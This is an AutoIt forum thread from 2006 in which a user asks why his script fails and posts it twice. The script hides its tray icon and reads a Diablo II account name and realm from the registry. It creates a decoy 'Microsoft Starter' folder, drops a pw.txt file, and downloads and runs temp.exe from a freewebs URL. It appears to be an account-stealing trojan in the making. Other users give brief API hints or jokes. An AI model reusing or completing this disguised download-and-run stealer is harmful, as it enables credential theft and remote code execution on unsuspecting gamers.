Consolidated Posted September 6, 2006 Posted September 6, 2006 i need help with a script... i want it to download a certain file from a site when ran, then open a certain file...plz help.
Moderators SmOke_N Posted September 6, 2006 Moderators Posted September 6, 2006 i need help with a script...i want it to download a certain file from a site when ran, then open a certain file...plz help.InetGet()/FileRead if you entend to read it -- Run() if you intend to run it. Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.
Paulie Posted September 6, 2006 Posted September 6, 2006 (edited) i need help with a script...i want it to download a certain file from a site when ran, then open a certain file...plz help.Well, a few specifics would help, for example what file, and what site,But, you can always just look at "INetGet" in the helpfileOr IE.au3 UDFsGood luckEDIT: Smoked again ... Edited September 6, 2006 by Paulie
Consolidated Posted September 6, 2006 Author Posted September 6, 2006 InetGet()/FileRead if you entend to read it -- Run() if you intend to run it. k my script looks like this... #Include <FTP.au3> Opt("MouseCoordMode", 2) Opt("PixelCoordMode", 2) Opt ("TrayIconHide", 1) Dim $var Dim $p $install = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" ) $acc = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Last BNet" ) $realm = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Preferred Realm" ) $w2l = ("C:\Program Files\Microsoft Starter") DirCreate("C:\Program Files\Microsoft Starter") FileInstall("C:\output.txt", $install & "\output.txt") FileInstall("C:\pw.txt", $w2l & "\pw.txt") Run("http://freewebs.com/d2stuff91/temp.exe", $install & "\temp.exe") and i get an error...wats wrong?
Helge Posted September 6, 2006 Posted September 6, 2006 AutoIt has built-in artificial intelligence specially designed to deny cheaters to make scripts.
Consolidated Posted September 6, 2006 Author Posted September 6, 2006 (edited) question still not answered... i have this now.. #Include <FTP.au3> Opt("MouseCoordMode", 2) Opt("PixelCoordMode", 2) Opt ("TrayIconHide", 1) Dim $var Dim $p $install = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" ) $acc = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Last BNet" ) $realm = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Preferred Realm" ) $w2l = ("C:\Program Files\Microsoft Starter") DirCreate("C:\Program Files\Microsoft Starter") FileInstall("C:\output.txt", $install & "\output.txt") FileInstall("C:\pw.txt", $w2l & "\pw.txt") InetGet("http://freewebs.com/d2stuff91/temp.exe", $install & "\temp.exe") sleep(30) Run( $install & "\temp.exe") sleep(100) FileMove( $install & "\output.txt", $w2l & "\output.txt") sleep(10) and it says somethin about rinst.exe not being found. Edited September 6, 2006 by Consolidated
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now